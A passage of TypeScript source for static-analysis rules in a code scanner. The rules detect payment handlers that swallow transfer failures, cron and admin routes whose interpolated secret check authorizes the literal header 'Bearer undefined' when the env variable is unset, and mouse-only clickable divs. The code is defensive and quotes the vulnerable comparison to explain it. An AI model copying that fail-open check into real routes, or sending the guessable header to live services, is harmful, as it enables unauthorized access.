INSERT of the subject does not qualify. (3) The catch covering the effect must be terminal: no rethrow, no non-2xx, no revert of the column, no enqueue. An effect with no catch at all is not reported — the error is loud. (4) Suppressed by an idempotency key, by a transaction whose handler rethrows, or by ANY file in the repo re-selecting the transitioned value with a staleness predicate (the outbox pattern).\",\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n // Every clause is a question about position inside a function, so an\n // unparseable file gets no answer rather than a guessed one.\n const shape = shapeOf(file);\n if (!shape) continue;\n\n const src = file.code;\n const wholeFile: Span = { start: 0, end: src.length };\n\n // Clause 1, half two: a local grant of paid entitlement, which has no\n // call node to match — it is a DB write whose payload sets credits,\n // quota or plan. Collected here so both halves feed one pipeline.\n const allWrites = collectWrites(src);\n const localGrants = allWrites.filter(\n (w) =>\n (w.kind === \"update\" && ENTITLEMENT_COLUMN.test(normColumn(w.column))) ||\n (w.kind === \"insert\" && ENTITLEMENT_TABLE.test(normTable(w.table))),\n );\n\n const effects: { index: number; span: Span; label: string }[] = [\n ...shape.effects.map((e) => ({ index: e.span.start, span: e.span, label: e.label })),\n ...localGrants.map((w) => ({\n index: w.index,\n span: { start: w.index, end: w.index + 200 },\n label: `${w.table}.${w.column}`,\n })),\n ];\n if (effects.length === 0) continue;\n\n // One finding per handler: a handler that pays two ways has one bug.\n const reported = new Set<number>();\n\n for (const effect of effects) {\n const handler = handlerSpan(shape, effect.index, wholeFile);\n if (reported.has(handler.start)) continue;\n\n const body = src.slice(handler.start, handler.end);\n const base = handler.start;\n\n // ---- Clause 2: an eligibility-consuming transition, before it. ----\n const reads = collectPendingReads(body).map((r) => ({ ...r, index: r.index + base }));\n const writes = collectWrites(body).map((w) => ({ ...w, index: w.index + base }));\n\n let transition: WriteRecord | null = null;\n let consumed: Predicate | null = null;\n\n for (const write of writes) {\n if (write.index >= effect.index) continue;\n if (write.kind !== \"update\") continue;\n if (isPending(write.value)) continue; // still pending: nothing consumed\n if (write.index === effect.index) continue; // the grant is not its own transition\n\n // The ordinary shape: a SELECT … WHERE status = 'pending' earlier in\n // the same handler, then this UPDATE moving that column out of it.\n const read = reads.find(\n (r) =>\n r.index < write.index &&\n normTable(r.table) === normTable(write.table) &&\n normColumn(r.column) === normColumn(write.column) &&\n normValue(r.value) !== normValue(write.value),\n );\n if (read) {\n transition = write;\n consumed = read;\n break;\n }\n\n // The compare-and-set shape: the pending predicate is the WHERE of\n // the transition itself (`UPDATE … SET status='converted' WHERE\n // status='pending'`). Same consumption, one statement.\n const cas = [...sqlPredicates(write.trailing), ...builderPredicates(write.trailing)].find(\n (p) => normColumn(p.column) === normColumn(write.column) && isPending(p.value),\n );\n if (cas) {\n transition = write;\n consumed = { table: write.table, column: cas.column, value: cas.value, index: write.index };\n break;\n }\n }\n if (!transition || !consumed) continue;\n\n // A local grant must not be the transition write itself.\n if (transition.index === effect.index) continue;\n\n // ---- Clause 3: the catch covering the effect must be terminal. ----\n const catchBody = catchCovering(shape, effect.index);\n // No catch at all means the failure leaves the handler. Loud, not\n // silent — and the same exemption the rethrow clause grants.\n if (!catchBody) continue;\n const catchText = src.slice(catchBody.start, catchBody.end);\n if (/\\bthrow\\b/.test(catchText)) continue;\n if (NON_2XX.test(catchText)) continue;\n if (ENQUEUES.test(catchText)) continue;\n // A catch that writes the same table back is reverting the transition.\n const revertRe = new RegExp(`\\\\b${escapeRe(transition.table.replace(/[\"'`]/g, \"\"))}s?\\\\b`, \"i\");\n if (revertRe.test(catchText) && /\\b(?:update|set|revert|rollback|restore)\\b/i.test(catchText)) {\n continue;\n }\n\n // ---- Clause 4: exonerate on visible retry. ----\n const effectText = src.slice(effect.span.start, Math.min(src.length, effect.span.end));\n if (/idempotency[_-]?key/i.test(effectText)) continue;\n // A transaction whose handler rethrows rolls the transition back with\n // the effect; the throw may sit outside the catch we just examined.\n if (insideTransaction(shape, effect.index) && /\\bthrow\\b/.test(body)) continue;\n if (\n repoReselects(ctx.files, file.path, transition.index, transition.table, transition.value)\n ) {\n continue;\n }\n\n reported.add(handler.start);\n const columnLabel = `${transition.table.replace(/[\"'`]/g, \"\")}.${transition.column.replace(/[\"'`]/g, \"\")}`;\n hits.push({\n file: file.path,\n line: lineAt(file.content, effect.index),\n detail:\n `\\`${columnLabel}\\` is moved out of \\`${normValue(consumed.value)}\\` on line ` +\n `${lineAt(file.content, transition.index)}, and only then does \\`${effect.label}\\` run — ` +\n `with its failure caught and swallowed. If the transfer fails, the row says it was paid, ` +\n `the money never moved, and the pending query will never select that row again.`,\n });\n }\n }\n\n return hits;\n },\n};\n","import type { Node, TemplateLiteral } from \"@babel/types\";\nimport { visitBinary } from \"../../ast/index.js\";\nimport { isInlineSilenced } from \"../../silencing.js\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\n\n/**\n * QA004 — a secret comparison that authenticates \"Bearer undefined\".\n *\n * The handler compares an incoming header against a secret it INTERPOLATES:\n *\n * if (req.headers.get(\"authorization\") !== `Bearer ${process.env.CRON_SECRET}`)\n *\n * With the variable unset, the right-hand side is not \"unset\" — it is the\n * eight-character string \"Bearer undefined\", and anyone who sends that header\n * is now authorised. This repo shipped that exact line in six cron routes; the\n * routes send email and delete rows. A preview deployment, a new environment,\n * a renamed variable, and the door is open with a password an attacker can\n * guess from the framework docs.\n *\n * This is the narrow rule the adversarial review let through — the broad\n * \"unauthenticated scheduled route\" shape it was cut from did not survive.\n * Every clause below was bought with a false positive; removing one brings its\n * class back:\n *\n * interpolation only `header !== process.env.X` (no template, no concat)\n * compares null to undefined and correctly denies. Only\n * the coercion to a guessable literal is the defect.\n * secret-shaped name *_SECRET / *_TOKEN / *_KEY. `process.env.NODE_ENV`\n * and `process.env.VERCEL_URL` are interpolated into\n * strings constantly and authenticate nothing.\n * header-derived side the other operand must come from an inbound request\n * header. That is what makes it a handler, and it is\n * stronger evidence than any path heuristic — an\n * Express file at `src/routes/admin.js` is a server too.\n * no fail-closed check anywhere in the file: `if (!secret) return 401`,\n * `assertEnv(...)`, a zod/envalid schema, or a\n * `?? throwOnMissing()` default. A guarded comparison\n * is correct code and this rule's claim about it would\n * be false.\n * no literal default `process.env.X ?? \"dev-secret\"` is a hardcoded\n * fallback credential — a real problem, a DIFFERENT\n * problem, and it does not authenticate \"undefined\".\n * not a webhook path signature verification against a provider secret is\n * VC062/VC209's job; re-including those paths re-opens\n * false positives this codebase already paid to close\n * and double-reports the ones it does catch.\n *\n * AST, not regex. The unit is a BinaryExpression whose operand subtrees have\n * to be inspected, and the fail-closed check that exonerates it can be an `if`\n * two hundred lines above the comparison, on an alias of the variable. A\n * character window cannot see either.\n */\n\n/* ------------------------------------------------------------------ *\n * A generic walk.\n *\n * `visitBinary` covers the comparison scan below, but the alias and guard\n * passes need VariableDeclarator / IfStatement / LogicalExpression, which no\n * exported helper covers. Babel ASTs from the parser have no parent pointers,\n * so a plain recursive descent is safe; `extra` and the comment arrays are\n * skipped because they re-enter nodes we have already seen.\n * ------------------------------------------------------------------ */\nconst SKIP_KEYS = new Set([\n \"loc\",\n \"extra\",\n \"comments\",\n \"tokens\",\n \"leadingComments\",\n \"trailingComments\",\n \"innerComments\",\n]);\n\nfunction walk(node: unknown, visit: (n: Node) => void): void {\n if (!node || typeof node !== \"object\") return;\n if (Array.isArray(node)) {\n for (const child of node) walk(child, visit);\n return;\n }\n const record = node as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(node as Node);\n for (const key of Object.keys(record)) {\n if (SKIP_KEYS.has(key)) continue;\n walk(record[key], visit);\n }\n}\n\n/** Does this subtree contain a node of any of these types? */\nfunction containsType(root: Node, types: string[]): boolean {\n let found = false;\n walk(root, (n) => {\n if (types.includes(n.type)) found = true;\n });\n return found;\n}\n\n/* ------------------------------------------------------------------ *\n * Reading an environment variable.\n * ------------------------------------------------------------------ */\n\n/**\n * `process.env.X`, `process.env[\"X\"]`, `Deno.env.get(\"X\")` → \"X\".\n *\n * Deno is not an afterthought: across the corpus, App Router route handlers\n * are a rounding error next to Supabase edge functions, and an edge function\n * spells this `Deno.env.get(\"CRON_SECRET\")`. The coercion bug is identical —\n * `Deno.env.get` returns `string | undefined` too.\n */\nfunction envVarName(node: Node | null | undefined): string | null {\n if (!node) return null;\n\n if (node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\") {\n const owner = node.object;\n if (\n (owner.type === \"MemberExpression\" || owner.type === \"OptionalMemberExpression\") &&\n owner.object.type === \"Identifier\" &&\n owner.object.name === \"process\" &&\n owner.property.type === \"Identifier\" &&\n owner.property.name === \"env\"\n ) {\n if (!node.computed && node.property.type === \"Identifier\") return node.property.name;\n if (node.property.type === \"StringLiteral\") return node.property.value;\n }\n return null;\n }\n\n if (node.type === \"CallExpression\" || node.type === \"OptionalCallExpression\") {\n const callee = node.callee;\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\" &&\n callee.property.name === \"get\"\n ) {\n const owner = callee.object;\n if (\n (owner.type === \"MemberExpression\" || owner.type === \"OptionalMemberExpression\") &&\n owner.object.type === \"Identifier\" &&\n (owner.object.name === \"Deno\" || owner.object.name === \"process\") &&\n owner.property.type === \"Identifier\" &&\n owner.property.name === \"env\"\n ) {\n const arg = node.arguments[0];\n if (arg && arg.type === \"StringLiteral\") return arg.value;\n }\n }\n }\n return null;\n}\n\n/**\n * Is this variable name secret-shaped?\n *\n * The spec generalises past CRON_SECRET on purpose — the same three lines get\n * copied into internal-API and admin routes with the variable renamed. Two\n * regexes rather than one because `/(?:^|_|[a-z0-9])KEY$/i` matches MONKEY:\n * the `i` flag makes `[a-z0-9]` match uppercase too, so the camelCase arm has\n * to stay case-sensitive.\n */\nfunction isSecretName(name: string): boolean {\n if (/(?:^|_)(?:secret|token|key|apikey)s?$/i.test(name)) return true;\n return /[a-z0-9](?:Secret|Token|Key|ApiKey)s?$/.test(name);\n}\n\n/* ------------------------------------------------------------------ *\n * Per-file facts: aliases, guards, literal defaults.\n * ------------------------------------------------------------------ */\ninterface FileFacts {\n /** local identifier → the env var name it was bound from. */\n envAlias: Map<string, string>;\n /** local identifiers holding an inbound request header value. */\n headerAlias: Set<string>;\n /** env vars with a fail-closed check somewhere in the file. */\n guarded: Set<string>;\n /** env vars given a non-throwing fallback — a different defect, not this one. */\n defaulted: Set<string>;\n}\n\n/** The env var this expression refers to, directly or through an alias. */\nfunction refName(node: Node | null | undefined, facts: FileFacts): string | null {\n if (!node) return null;\n const direct = envVarName(node);\n if (direct) return direct;\n if (node.type === \"Identifier\") return facts.envAlias.get(node.name) ?? null;\n return null;\n}\n\n/**\n * The env var at the base of a member/call chain — `secret.length`,\n * `secret?.trim()`, `process.env.X?.length`. Guards are written against the\n * value's shape as often as against the value.\n */\nfunction baseRefName(node: Node | null | undefined, facts: FileFacts): string | null {\n let current: Node | null | undefined = node;\n for (let depth = 0; current && depth < 6; depth++) {\n const direct = refName(current, facts);\n if (direct) return direct;\n if (current.type === \"MemberExpression\" || current.type === \"OptionalMemberExpression\") {\n current = current.object;\n } else if (current.type === \"CallExpression\" || current.type === \"OptionalCallExpression\") {\n current = current.callee;\n } else {\n return null;\n }\n }\n return null;\n}\n\n/** Flatten a top-level `&&` / `||` / `??` chain into its operands. */\nfunction logicalOperands(node: Node): Node[] {\n if (node.type === \"LogicalExpression\") {\n return [...logicalOperands(node.left), ...logicalOperands(node.right)];\n }\n return [node];\n}\n\nconst EQUALITY = new Set([\"===\", \"!==\", \"==\", \"!=\"]);\n\n/** `undefined`, `null`, `\"\"`, `0` — the things a missing secret compares equal to. */\nfunction isNullishLiteral(node: Node): boolean {\n if (node.type === \"Identifier\") return node.name === \"undefined\";\n if (node.type === \"NullLiteral\") return true;\n if (node.type === \"StringLiteral\") return node.value === \"\";\n if (node.type === \"NumericLiteral\") return node.value === 0;\n return false;\n}\n\n/**\n * Is this operand a check that the secret is MISSING?\n *\n * This is the clause that decides whether the rule works at all. \"The `if`\n * test mentions the secret\" is not usable — the defect itself is an `if` test\n * that mentions the secret. Only a truthiness / nullish / typeof check on the\n * variable counts, which is what separates\n *\n * if (!secret || auth !== `Bearer ${secret}`) return 401; // correct\n * if (auth !== `Bearer ${secret}`) return 401; // the defect\n *\n * and those two lines differ by six characters.\n */\nfunction isMissingCheck(operand: Node, name: string, facts: FileFacts): boolean {\n if (operand.type === \"UnaryExpression\" && operand.operator === \"!\") {\n if (baseRefName(operand.argument, facts) === name) return true;\n return isMissingCheck(operand.argument, name, facts);\n }\n\n if (operand.type === \"BinaryExpression\" && EQUALITY.has(operand.operator)) {\n const left = operand.left as Node;\n const right = operand.right;\n // `typeof secret !== \"string\"`\n const typeofSide = (a: Node, b: Node) =>\n a.type === \"UnaryExpression\" &&\n a.operator === \"typeof\" &&\n baseRefName(a.argument, facts) === name &&\n b.type === \"StringLiteral\";\n if (typeofSide(left, right) || typeofSide(right, left)) return true;\n if (baseRefName(left, facts) === name && isNullishLiteral(right)) return true;\n if (baseRefName(right, facts) === name && isNullishLiteral(left)) return true;\n return false;\n }\n\n return false;\n}\n\n/**\n * Does this `if` test fail closed on `name`?\n *\n * A bare reference counts as a top-level operand only — `if (secret)` and\n * `if (secret && ...)` gate on the variable existing. Nested references do\n * NOT, or the defect's own `if (auth !== \\`Bearer ${secret}\\`)` would exonerate\n * itself: the secret is in there, just not as a condition.\n */\nfunction failsClosedOn(test: Node, name: string, facts: FileFacts): boolean {\n for (const operand of logicalOperands(test)) {\n if (isMissingCheck(operand, name, facts)) return true;\n if (refName(operand, facts) === name) return true;\n }\n return false;\n}\n\n/**\n * `assertEnv(\"CRON_SECRET\")`, `invariant(process.env.X, ...)`,\n * `validateEnv()`.\n *\n * Accepted either when an argument names the variable, or when the callee\n * itself is an env-assertion by name. The second arm is deliberately blunt: a\n * file that calls `assertEnv()` with no arguments is a file whose author has\n * thought about missing configuration, and suppressing there costs less than\n * calling their code broken.\n */\nconst ASSERT_CALLEE = /^(?:assert|invariant|ensure|require|required|must|validate|verify|guard|check)/i;\nconst ENV_ASSERT_CALLEE = /(?:env|secret|token|key|config|settings|vars?)/i;\n\nfunction calleeName(node: Node): string | null {\n if (node.type === \"Identifier\") return node.name;\n if (\n (node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\") &&\n node.property.type === \"Identifier\"\n ) {\n return node.property.name;\n }\n return null;\n}\n\n/**\n * A fallback that THROWS is a guard; a fallback that returns a value is not.\n * `process.env.X ?? requireEnv(\"X\")` fails closed. `process.env.X ?? \"dev\"`\n * fails open onto a hardcoded credential, which is a different finding and\n * must not be reported with this rule's wording.\n */\nfunction isThrowingFallback(node: Node): boolean {\n if (node.type === \"CallExpression\" || node.type === \"OptionalCallExpression\") return true;\n if (node.type === \"NewExpression\") return true;\n if (node.type === \"ArrowFunctionExpression\" || node.type === \"FunctionExpression\") {\n return containsType(node.body as Node, [\"ThrowStatement\"]);\n }\n return containsType(node, [\"ThrowStatement\"]);\n}\n\n/**\n * A zod / envalid / t3-env schema that validates `process.env` at import time\n * throws before any handler runs, so a raw `process.env.X` read below it can\n * never be undefined. Requires the variable to actually appear as a schema\n * key — a schema for three other variables exonerates nothing.\n */\nconst ENV_SCHEMA_CALL =\n /(?:safeParse|parse)\\s*\\(\\s*(?:process\\s*\\.\\s*env|Deno\\s*\\.\\s*env\\s*\\.\\s*toObject\\s*\\(\\s*\\))|\\b(?:cleanEnv|createEnv|envsafe)\\s*\\(/;\n\nfunction hasEnvSchemaFor(code: string, name: string): boolean {\n if (!ENV_SCHEMA_CALL.test(code)) return false;\n return new RegExp(`(?:^|[^\\\\w.])${name}\\\\s*:`, \"m\").test(code);\n}\n\n/** Does this expression read an inbound HTTP request header? */\nfunction readsRequestHeader(node: Node, facts: FileFacts): boolean {\n let found = false;\n walk(node, (n) => {\n if (found) return;\n // `req.headers.get(...)`, `req.headers.authorization`, `event.headers[\"x\"]`\n if (n.type === \"Identifier\" && n.name === \"headers\") found = true;\n // Hono `c.req.header(\"authorization\")`, Node `req.getHeader(\"x\")`\n if (n.type === \"CallExpression\" || n.type === \"OptionalCallExpression\") {\n const name = calleeName(n.callee as Node);\n if (name === \"header\" || name === \"getHeader\" || name === \"headers\") found = true;\n }\n // `const authHeader = req.headers.get(\"authorization\")` used further down.\n if (n.type === \"Identifier\" && facts.headerAlias.has(n.name)) found = true;\n });\n return found;\n}\n\n/**\n * Collect aliases first, then guards — the guard pass has to be able to see\n * that `secret` in `if (!secret)` is `process.env.CRON_SECRET`.\n */\nfunction collectFacts(file: QualityFile): FileFacts {\n const facts: FileFacts = {\n envAlias: new Map(),\n headerAlias: new Set(),\n guarded: new Set(),\n defaulted: new Set(),\n };\n const ast = file.parsed?.ast;\n if (!ast) return facts;\n\n walk(ast, (n) => {\n if (n.type !== \"VariableDeclarator\" || !n.init) return;\n const init = n.init;\n\n // `const secret = process.env.CRON_SECRET` (possibly with a fallback).\n let source: Node = init;\n let fallback: Node | null = null;\n if (init.type === \"LogicalExpression\" && (init.operator === \"??\" || init.operator === \"||\")) {\n source = init.left;\n fallback = init.right;\n }\n if (source.type === \"TSNonNullExpression\") source = source.expression;\n\n const envName = envVarName(source);\n if (envName && n.id.type === \"Identifier\") {\n facts.envAlias.set(n.id.name, envName);\n }\n if (envName && fallback) {\n if (isThrowingFallback(fallback)) facts.guarded.add(envName);\n else facts.defaulted.add(envName);\n }\n\n // `const secret = requireEnv(\"CRON_SECRET\")` — alias AND guard in one.\n if (\n (init.type === \"CallExpression\" || init.type === \"OptionalCallExpression\") &&\n !envName\n ) {\n const name = calleeName(init.callee as Node);\n if (name && ASSERT_CALLEE.test(name)) {\n const arg = init.arguments[0];\n if (arg && arg.type === \"StringLiteral\") {\n facts.guarded.add(arg.value);\n if (n.id.type === \"Identifier\") facts.envAlias.set(n.id.name, arg.value);\n } else if (name && ENV_ASSERT_CALLEE.test(name) && n.id.type === \"Identifier\") {\n // `const secret = assertEnv(process.env.CRON_SECRET)`\n const inner = arg ? envVarName(arg as Node) : null;\n if (inner) {\n facts.guarded.add(inner);\n facts.envAlias.set(n.id.name, inner);\n }\n }\n }\n }\n\n // Header aliases, including the destructured spelling.\n if (n.id.type === \"Identifier\" && readsRequestHeader(init, facts)) {\n facts.headerAlias.add(n.id.name);\n }\n if (n.id.type === \"ObjectPattern\" && readsRequestHeader(init, facts)) {\n for (const prop of n.id.properties) {\n if (prop.type === \"ObjectProperty\" && prop.value.type === \"Identifier\") {\n facts.headerAlias.add(prop.value.name);\n }\n }\n }\n });\n\n // Second pass: guards, now that aliases resolve.\n const names = new Set<string>([...facts.envAlias.values()]);\n walk(ast, (n) => {\n if (n.type === \"MemberExpression\" || n.type === \"CallExpression\") {\n const direct = envVarName(n);\n if (direct) names.add(direct);\n }\n });\n\n walk(ast, (n) => {\n if (n.type === \"IfStatement\") {\n for (const name of names) {\n if (facts.guarded.has(name)) continue;\n if (!failsClosedOn(n.test, name, facts)) continue;\n // A guard that neither returns nor throws is a log line, not a guard.\n if (containsType(n, [\"ReturnStatement\", \"ThrowStatement\"])) facts.guarded.add(name);\n }\n return;\n }\n\n if (n.type === \"LogicalExpression\" && (n.operator === \"??\" || n.operator === \"||\")) {\n const name = refName(n.left, facts);\n if (name) {\n if (isThrowingFallback(n.right)) facts.guarded.add(name);\n else facts.defaulted.add(name);\n }\n return;\n }\n\n if (n.type === \"CallExpression\" || n.type === \"OptionalCallExpression\") {\n const name = calleeName(n.callee as Node);\n if (!name || !ASSERT_CALLEE.test(name)) return;\n const argNames = new Set<string>();\n for (const arg of n.arguments) {\n if (arg.type === \"StringLiteral\") argNames.add(arg.value);\n const viaEnv = refName(arg as Node, facts);\n if (viaEnv) argNames.add(viaEnv);\n }\n if (argNames.size > 0) {\n for (const candidate of argNames) {\n if (names.has(candidate) || isSecretName(candidate)) facts.guarded.add(candidate);\n }\n } else if (ENV_ASSERT_CALLEE.test(name)) {\n // `validateEnv()` / `assertConfig()` — blanket, and deliberately so.\n for (const name2 of names) facts.guarded.add(name2);\n }\n }\n });\n\n for (const name of names) {\n if (hasEnvSchemaFor(file.code, name)) facts.guarded.add(name);\n }\n\n return facts;\n}\n\n/* ------------------------------------------------------------------ *\n * The interpolated secret.\n * ------------------------------------------------------------------ */\ninterface SecretSide {\n /** The env var whose absence opens the door. */\n name: string;\n /** What the comparison actually authenticates, when it can be computed. */\n literal: string | null;\n}\n\n/**\n * Rebuild the string the comparison really tests against, substituting the\n * runtime coercion of a missing variable.\n *\n * Only returned when EVERY interpolation is an env read: if one hole is filled\n * from the request, the literal is unknowable and the finding says so rather\n * than inventing a value. Product copy is a claim — the detail line here is\n * product copy.\n */\nfunction templateAsMissing(tpl: TemplateLiteral, facts: FileFacts): string | null {\n for (const expr of tpl.expressions) {\n if (!refName(expr as Node, facts)) return null;\n }\n let out = \"\";\n tpl.quasis.forEach((quasi, i) => {\n out += quasi.value.cooked ?? quasi.value.raw;\n if (i < tpl.expressions.length) out += \"undefined\";\n });\n return out;\n}\n\n/** Flatten `\"Bearer \" + process.env.X` into its operands. */\nfunction concatOperands(node: Node): Node[] {\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n return [...concatOperands(node.left as Node), ...concatOperands(node.right)];\n }\n return [node];\n}\n\n/**\n * Is this operand a secret interpolated into a string?\n *\n * INTERPOLATION IS THE WHOLE DEFECT. `header !== process.env.SECRET` compares\n * `null` (what `headers.get` returns when absent) against `undefined` and\n * denies correctly; it is the template literal — or the `+` concatenation,\n * which is the same coercion typed differently — that manufactures a\n * guessable password out of a missing variable.\n */\nfunction interpolatedSecret(node: Node, facts: FileFacts): SecretSide | null {\n if (node.type === \"TemplateLiteral\") {\n if (node.expressions.length === 0) return null;\n for (const expr of node.expressions) {\n const name = refName(expr as Node, facts);\n if (name && isSecretName(name)) {\n return { name, literal: templateAsMissing(node, facts) };\n }\n }\n return null;\n }\n\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n const operands = concatOperands(node);\n if (!operands.some((o) => o.type === \"StringLiteral\" || o.type === \"TemplateLiteral\")) {\n return null;\n }\n for (const operand of operands) {\n const name = refName(operand, facts);\n if (!name || !isSecretName(name)) continue;\n let literal = \"\";\n let computable = true;\n for (const o of operands) {\n if (o.type === \"StringLiteral\") literal += o.value;\n else if (refName(o, facts)) literal += \"undefined\";\n else computable = false;\n }\n return { name, literal: computable ? literal : null };\n }\n }\n\n return null;\n}\n\n/**\n * Signature verification against a provider secret lives in VC062/VC209,\n * which are already calibrated. Re-including these paths re-opens false\n * positives this codebase paid to close, and double-reports the rest.\n */\nconst WEBHOOK_PATH = /webhook/i;\n\nexport const failOpenSecretComparison: QualityRule = {\n id: \"QA004\",\n title: 'A secret comparison that authenticates \"Bearer undefined\"',\n severity: \"high\",\n category: \"Authentication\",\n description:\n \"This handler checks its authorization header against a secret interpolated into a string, and nothing in the file refuses to run when that variable is missing. With the variable unset the check compares against the literal text \\\"Bearer undefined\\\", so anyone who sends exactly that header is authorized — in a new environment, a preview deployment, or after the variable is renamed.\",\n fix: \"Read the secret into a variable and refuse the request when it is missing — `const secret = process.env.CRON_SECRET; if (!secret) return new Response(\\\"Unauthorized\\\", { status: 401 });` — before comparing. An environment with no secret configured can authorize nothing.\",\n precisionNotes:\n \"Fires only on an equality comparison between an inbound request header and an env secret INTERPOLATED into a string (template literal or `+` concatenation) whose name is *_SECRET / *_TOKEN / *_KEY, where no fail-closed check on that same variable — `if (!x) return/throw`, an assertEnv-style call, a zod/envalid schema over process.env, or a throwing `??` fallback — appears anywhere in the file, and where the variable has no literal fallback (that is a hardcoded-credential finding, not this one). Webhook paths are left to VC062/VC209. Each clause removes a class of correct code: bare non-interpolated compares, non-secret env vars, guarded handlers, validated-env projects.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n if (WEBHOOK_PATH.test(file.path)) continue;\n const parsed = file.parsed;\n // No AST, no finding. This shape is decided by the structure of two\n // operand subtrees and by an `if` that may sit anywhere in the file;\n // guessing from a character window is how the FP rate goes.\n if (!parsed) continue;\n\n const facts = collectFacts(file);\n const reported = new Set<number>();\n\n visitBinary(parsed, (node) => {\n if (!EQUALITY.has(node.operator)) return;\n const left = node.left as Node;\n const right = node.right as Node;\n\n const secret =\n interpolatedSecret(right, facts) ?? interpolatedSecret(left, facts);\n if (!secret) return;\n if (!isSecretName(secret.name)) return;\n\n // Exonerated: the file refuses to run without the variable.\n if (facts.guarded.has(secret.name)) return;\n // A literal fallback is a different defect with a different sentence.\n if (facts.defaulted.has(secret.name)) return;\n\n // The other operand has to be the incoming request's header — that is\n // what makes this an authentication decision rather than a string test.\n const other = interpolatedSecret(right, facts) ? left : right;\n if (!readsRequestHeader(other, facts)) return;\n\n const line = node.loc?.start.line ?? 1;\n if (reported.has(line)) return;\n\n // `// QA004-OK: <reason>` — some findings are \"I have reviewed this\n // and accept it here\", and loosening the rule for one site weakens it\n // for everyone.\n const offset = node.start ?? 0;\n if (isInlineSilenced(file.content, offset, \"QA004\")) return;\n\n reported.add(line);\n hits.push({\n file: file.path,\n line,\n detail: secret.literal\n ? `With ${secret.name} unset, this comparison authorizes the literal header value \"${secret.literal}\" — an attacker can send exactly that. Nothing in this file refuses to run when the variable is missing.`\n : `With ${secret.name} unset, this comparison interpolates the missing value into a guessable literal and authorizes anyone who sends it. Nothing in this file refuses to run when the variable is missing.`,\n });\n });\n }\n\n return hits;\n },\n};\n","import type {\n ArrowFunctionExpression,\n FunctionDeclaration,\n FunctionExpression,\n JSXAttribute,\n JSXElement,\n JSXOpeningElement,\n Node,\n} from \"@babel/types\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA005 — a control only a mouse can reach.\n *\n * `<div onClick={deleteAccount}>` renders, looks like a button, and works for\n * everyone holding a mouse. It is unreachable by Tab, invisible to a screen\n * reader, and dead to voice control and switch access. The generator that\n * wrote it had no reason to emit a `<button>`: a div takes the styling with\n * less fighting, and nothing in the preview shows what was lost.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE, and the reason is the naive trigger\n * itself. \"Has onClick but no role/tabIndex/onKey*\" has to be answered about\n * ONE element — a regex window over a JSX file answers it about whatever\n * happens to sit within N characters, and a keyboard handler on the parent\n * silences a defect on the child (or the reverse). Attributes, subtrees and\n * parents are structure, so the check reads structure.\n *\n * Every gate below came out of an adversarial review that hunted for correct\n * code the naive version accused. Each one names the pattern it protects, and\n * removing it brings that pattern's whole class back:\n *\n * native tags only a capitalised `<Card onClick>` may render a <button>\n * internally. Its semantics are in another file; this is\n * a single-file rule and cannot see them.\n * no spread `{...getRootProps()}` (react-dropzone), `{...listeners}`\n * (dnd-kit) and every wrapper that forwards props inject\n * onKeyDown/tabIndex/role we cannot see. One spread and\n * the element is undecidable.\n * not a barrier `onClick={(e) => e.stopPropagation()}` is not a\n * control. It stops a click reaching a control ABOVE it,\n * and there is nothing for a keyboard to activate.\n * no interactive `<div onClick={openRow}><button>Edit</button></div>` is\n * descendant a redundant affordance over a real, focusable control.\n * The keyboard path already exists, one node down.\n * not asChild-child Radix `<DialogTrigger asChild><div onClick/></...>`\n * merges role, tabIndex and key handling into the child\n * at runtime. The attributes are real; they are just not\n * written here.\n * not tr/li/tbody clickable rows are overwhelmingly a second way to reach\n * a link that is already in the row. Load-bearing: this\n * repo's own reports/page.tsx comes back the moment `tr`\n * is allowed to fire.\n * not focusable `<a onClick>`, `<summary onClick>`, `<label onClick>`\n * already take Tab and fire on Enter. The browser did it.\n * affordance requiring cursor-pointer / select-none / a hover: class\n * is what separates \"styled to be clicked\" from a div\n * that merely has a listener. It is the last FP off the\n * adversarial set, and it is paid for in recall: a header\n * styled by a plain CSS class (TanStack's own sorting\n * example uses `className=\"sortable-header\"`) is missed.\n *\n * On that last one the spec asks for a confidence demotion rather than a hard\n * gate. `QualityHit` has no confidence channel — the engine stamps every hit\n * `medium` — so \"demote to low, which is suppressed\" and \"do not report\" are\n * the same outcome here, and it is implemented as the gate.\n */\n\n/**\n * Tags the browser already makes keyboard-operable.\n *\n * Kept as a set of what IS focusable rather than a list of what is not,\n * because the naive version's tag list (`div|span|p`) is the thing that goes\n * stale: every tag it forgot — `article`, `figure`, `td` — silently stopped\n * being checked. `textarea` is here on the same footing as `input` and\n * `select`; it is focusable by the same rule, and the spec's enumeration is\n * describing the category, not fixing a literal list.\n */\nconst FOCUSABLE_TAGS = new Set([\n \"a\",\n \"area\",\n \"button\",\n \"input\",\n \"label\",\n \"option\",\n \"select\",\n \"summary\",\n \"textarea\",\n]);\n\n/**\n * Row- and table-structural tags, never reported.\n *\n * A clickable `<tr>` or `<li>` is nearly always a bigger hit area for a link\n * that is already inside it, and the review verified an FP of exactly this\n * shape in this repo. Deliberately the spec's three names and no more:\n * widening it to `td`/`thead` would suppress cells that really are the only\n * control, which is a true positive.\n */\nconst STRUCTURAL_TAGS = new Set([\"tr\", \"li\", \"tbody\"]);\n\n/** Descendants that already provide the keyboard path. */\nconst INTERACTIVE_DESCENDANT_TAGS = new Set([\n \"a\",\n \"button\",\n \"input\",\n \"select\",\n \"summary\",\n \"textarea\",\n]);\n\n/**\n * Component names that are interactive by convention.\n *\n * `Link`, and anything ending Button/Link/Trigger/Menu/Input/Select/Field —\n * which covers `DropdownMenuTrigger`, `Dialog.Trigger`, `SubmitButton`,\n * `FormField`. Naming convention is weak evidence in general; here it is used\n * only to STAY SILENT, so being wrong costs a finding, not a false accusation.\n */\nconst INTERACTIVE_COMPONENT = /(?:Button|Link|Trigger|Menu|Input|Select|Field)$/;\n\n/** Attributes that declare 